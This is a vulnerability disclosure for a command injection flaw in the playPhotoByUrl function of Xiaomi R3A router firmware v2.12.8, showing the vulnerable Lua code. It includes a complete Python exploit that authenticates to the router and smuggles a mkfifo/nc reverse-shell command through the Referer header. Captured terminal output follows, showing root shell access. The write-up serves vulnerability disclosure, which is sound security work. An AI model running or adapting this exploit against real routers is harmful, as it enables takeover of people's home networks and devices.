

# Xiaomi R3A V2.12.8 command injection

## Product Information

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1 Vendor of the product: xiaomi
2 Product: R3A
3 Firmware Version: v2.12.8
4 Manufacturer's website information: https://www.mi.com/
5 Firmware download address :
  https://bigota.miwifi.com/xiaoqiang/rom/r3a/miwifi_r3a_firmware_8de62_2.12.8.
  bin
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### 2.12.8

韌體/固件 : miwifi\_r3a\_firmware\_8de62\_2.12.8.bin

大小 : 6.0MB

載點 : [下載](#) ([下載到小米路由](#))

## Affected component

Affected the function playPhotoByUrl in the file of /usr/lib/lua/xiaoqiang/util/XQMitvUtil.lua.

## Suggested description

Xiaomi R3A V2.12.8 was discovered to contain a command injection vulnerability via the playPhotoByUrl function.

## Vulnerability Details

The `requestMitv` function calls the `request` function in `xiaoqiang.util.XQMitvUtil`. When the value of the `command` parameter is `photo_playurl`, it calls the `playPhotoByUrl` function. However, there is no security check on the `url` parameter, which allows for arbitrary command execution.

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59 function requestMitv()
60     local payload = LuciHttp.formvalue("payload")
61     local MitvUtil = require("xiaoqiang.util.XQMitvUtil")
62     LuciHttp.write(MitvUtil.request(payload))
63 end
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47 function request(payload)
48     -- payload example : { "mac|ip" : "", "command" : "keyevent", "keycode" : "left" }
49     if payload == nil then
50         return Error3
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53     local params = JSON.decode(payload)
54     if params == nil then
55         return Error3
56     end
57     local ip = params.ip
58     if ip == nil then
59         if params.mac == nil then
60             return Error3
61         end
62         -- get ip from mac
63         local DeviceUtil = require("xiaoqiang.util.XQDeviceUtil")
64         local devices = DeviceUtil.getDHCPIpDict()
65         local item = devices[params.mac]
66         if item == nil then
67             return Error3
68         end
69         ip = item.ip
70     end
71     if not string.match(ip, "%d+.%d+.%d+.%d+") then
72         return Error3
73     end
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75     if params.command == "isalive" then
76         return isalive(ip)
77     elseif params.command == "keyevent" then
78         return control(ip, params.keycode)
79     elseif params.command == "video_playurl" then
80         return playVideoByUrl(ip, params.url)
81     elseif params.command == "video_playmediaid" then
82         return playVideoByMediaid(ip, params.mediaid, params.ci)
83     elseif params.command == "music_playurl" then
84         return playMusicByUrl(ip, params.url)
85     elseif params.command == "photo_playurl" then
86         return playPhotoByUrl(ip, params.url)
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147 function playPhotoByUrl(ip, url)
148     local cmd = "curl -s -k \"http://s:6095/photo?action=play&url=%s&clientname=miwifi\""
149     local result = DoExec(string.format(cmd, ip, urlencode(url)))
150     return castMitvResult(result)
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## PoC

[https://github.com/JZP018/vuln03/blob/main/xiaomi/R3A/playPhotoByUrl/CI\\_xiaomi\\_R3A\\_playPhotoByUrl.py](https://github.com/JZP018/vuln03/blob/main/xiaomi/R3A/playPhotoByUrl/CI_xiaomi_R3A_playPhotoByUrl.py)

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1 import sys
2 import requests
3 import hashlib
4 import time
5 import random
6 def createnonce(mac):
7     return f'0_{mac}_{int(time.time())}_{random.randint(0,9999)}'
8 def oldPwd(pwd, nonce):
9     key = 'a2ffa5c9be07488bbb04a3a47d3c5f6a'

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10     return hashlib.sha1(f"{nonce}
{hashlib.sha1((pwd+key).encode()).hexdigest()}.encode()).hexdigest()
11 def doLogin(ip, deviceId, pwd):
12     url = f"http://{ip}/cgi-bin/luci/api/xqsystem/login"
13     nonce = createnonce(deviceId)
14     data = {"username": "admin", "password": oldPwd(pwd, nonce), "logtype":
"2", "nonce": nonce}
15     try:
16         resp = requests.post(url, data=data, timeout=60)
17         return resp.json()['token']
18     except requests.exceptions.RequestException as e:
19         print(f"Login failed: {e}")
20         sys.exit(1)
21 def genDeviceId():
22     return ":".join(f"{random.randint(0,99):02d}" for _ in range(6))
23 def request_mitv(ip, lip, lport, tok):
24     url = f"http://{ip}/cgi-bin/luci/;stok=
{tok}/api/xqsmarthome/request_mitv"
25     payload = {"payload":
{'ip':"127.0.0.1", "command": "photo_playurl", "url": "$(eval$IIFS$HTTP_REFERER)
"}'}
26     headers = {"Referer": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/ash -i
2>&1|nc {lip} {lport} >/tmp/f"}
27     try:
28         requests.post(url, data=payload, headers=headers, timeout=10)
29     except requests.exceptions.Timeout:
30         print("Payload delivered (timeout expected)")
31 def main():
32     if len(sys.argv) != 5:
33         print("Usage: exp.py wifipwd ipaddress lip lport")
34         return
35     wifipwd, ip, lip, lport = sys.argv[1:5]
36     print("[+] Starting exploit...")
37     token = doLogin(ip, genDeviceId(), wifipwd)
38     print(f"[+] Obtained token: {token}")
39     time.sleep(2)
40     request_mitv(ip, lip, lport, token)
41     print("[+] Exploit payload sent. Check your listener.")
42 if __name__ == '__main__':
43     main()

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We can obtain the shell of the router through this PoC and execute arbitrary commands.

Vulnerability Triggering Video: [https://github.com/JZP018/vuln03/blob/main/xiaomi/R3A/playPhotoByUrl/CI\\_xiaomi\\_R3A\\_playPhotoByUrl.mp4](https://github.com/JZP018/vuln03/blob/main/xiaomi/R3A/playPhotoByUrl/CI_xiaomi_R3A_playPhotoByUrl.mp4)

The screenshot shows a terminal window with two panes. The left pane shows the execution of the exploit script:

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(kali@kali)~/firmware_unpack/xiaomi/R3/R3A
$ python CI_xiaomi_R3A_playPhotoByUrl.py 12345678 192.168.31.6 192.1
[+] Starting exploit...
[+] Obtained token: 0cf94ee1a31be18a537cc82020d39736

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The right pane shows the output of the listener (nc -lvnp 9001) and the resulting shell access:

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(kali@kali)~$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.31.166] from (UNKNOWN) [192.168.31.6] 12788
/bin/ash: can't access tty; job control turned off

BusyBox v1.19.4 (2017-06-05 11:05:55 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/www/cgi-bin # id
uid=0(root) gid=0(root)
/www/cgi-bin #

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